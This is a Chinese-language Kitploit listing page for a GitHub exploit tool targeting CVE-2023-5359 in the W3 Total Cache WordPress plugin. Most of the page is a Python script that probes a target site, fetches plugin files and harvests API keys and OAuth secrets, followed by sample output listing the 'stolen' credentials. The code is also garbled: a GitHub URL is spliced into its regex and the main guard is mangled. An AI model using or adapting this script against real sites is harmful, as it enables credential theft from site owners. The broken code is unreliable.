Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/spyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache
侦察密码攻击漏洞分析漏洞利用信息收集Web安全
GitHubspyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache

Cleartext-Storage-vulnerability-CVE-2023-5359-in-W3-Total-Cache

针对易受 CVE-2023-5359 影响的 ≤2.7.5 版本

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
21年前尚未审核

明文存储漏洞CVE-2023-5359在W3 Total Cache中

影响版本 ≤2.7.5,存在CVE-2023-5359漏洞


import requests import re from urllib.parse import urljoin

Common paths where credentials are stored

CREDENTIAL_PATHS = [ "/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php", "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php", "/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php" ]

def check_w3tc_presence(target_url): """Check if W3 Total Cache is installed""" try: response = requests.get(target_url, timeout=10) if "wp-content/plugins/w3-total-cache" in response.text: return True return False except Exception as e: print(f"Connection error: {str(e)}") return False

def extract_credentials(target_url): """Extract plaintext credentials from vulnerable files""" credentials = {}

root@kitploit:~
for path in CREDENTIAL_PATHS:
    full_url = urljoin(target_url, path)
    try:
        response = requests.get(full_url, headers={"User-Agent": "Mozilla/5.0"})
        if response.status_code == 200:
            # Search for common credential patterns
            matches = re.findall(
                r"(client_id|client_secret|api_key|oauth_token)\s*=\s*['\"](https://github.com/spyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache/blob/main/%5Ba-zA-Z0-9-_%5D%2B)['\"]",
                response.text
            )
            if matches:
                credentials[path] = dict(matches)
    except Exception as e:
        continue
        
return credentials

def main(): target = input("Enter target URL (e.g., https://example.com): ").strip()

root@kitploit:~
if not check_w3tc_presence(target):
    print("[-] W3 Total Cache not detected")
    return

print("[+] W3 Total Cache detected. Checking for CVE-2023-5359...")

creds = extract_credentials(target)

if creds:
    print("\n[!] Sensitive credentials found:")
    for filepath, data in creds.items():
        print(f"\nFile: {filepath}")
        for key, value in data.items():
            print(f"  {key}: {value}")
else:
    print("[+] No credentials found in common locations")

if name == "main": main()

输入目标URL(例如https://example.com):https://vulnerable-site.com [+] 检测到W3 Total Cache。正在检查CVE-2023-5359...

[!] 发现敏感凭据:

文件:/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php client_id: GOxxxxxxxxxxxx78 client_secret: ABcdEFghIJklMNopQRstUVwxYZ

文件:/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php api_key: AiiiihIwJKLmnopkhdhsQRSTUVWXYZ-123456

下载工具